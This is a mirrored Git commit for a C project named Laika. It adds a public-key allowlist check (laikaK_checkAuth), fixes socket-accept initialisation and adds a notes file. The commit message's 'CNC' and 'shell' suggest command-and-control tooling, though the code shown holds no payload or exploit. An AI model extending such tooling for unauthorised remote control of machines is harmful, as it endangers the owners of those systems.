mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 07:10:07 +00:00
Added config inis, key refactoring
- CNC can accept multiple different auth keys now - laikaK_checkAuth() added - shell defaults to using shell.ini config file - CNC doesn't require a config file however it's highly recommended
This commit is contained in:
7
lib/NOTES.md
Normal file
7
lib/NOTES.md
Normal file
@@ -0,0 +1,7 @@
|
||||
There are some unused features and boilerplate. The unused files include:
|
||||
- ltunnel.h
|
||||
- ltunnel.c
|
||||
- lbox.h
|
||||
- lvm.h
|
||||
|
||||
These files can be safely removed from the library.
|
@@ -10,4 +10,6 @@
|
||||
bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const char *inPriv);
|
||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv);
|
||||
|
||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys);
|
||||
|
||||
#endif
|
||||
|
@@ -166,7 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
||||
|
||||
/* read packet ID */
|
||||
peer->pktID = laikaS_readByte(&peer->sock);
|
||||
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
|
||||
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
|
||||
|
||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
||||
|
@@ -152,8 +152,8 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) {
|
||||
}
|
||||
|
||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipv4) {
|
||||
socklen_t addressSize;
|
||||
struct sockaddr_in address;
|
||||
socklen_t addressSize = sizeof(struct sockaddr_in);
|
||||
|
||||
sock->sock = accept(from->sock, (struct sockaddr*)&address, &addressSize);
|
||||
if (SOCKETINVALID(sock->sock))
|
||||
|
@@ -17,3 +17,17 @@ bool laikaK_loadKeys(uint8_t *outPub, uint8_t *outPriv, const char *inPub, const
|
||||
bool laikaK_genKeys(uint8_t *outPub, uint8_t *outPriv) {
|
||||
return crypto_kx_keypair(outPub, outPriv) == 0;
|
||||
}
|
||||
|
||||
bool laikaK_checkAuth(uint8_t *pubKey, uint8_t **authKeys, int keys) {
|
||||
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
|
||||
int i;
|
||||
|
||||
/* check if key is in authKey list */
|
||||
for (i = 0; i < keys; i++) {
|
||||
if (sodium_memcmp(pubKey, authKeys[i], crypto_kx_PUBLICKEYBYTES) == 0)
|
||||
return true;
|
||||
}
|
||||
|
||||
/* key not found */
|
||||
return false;
|
||||
}
|
||||
|
Reference in New Issue
Block a user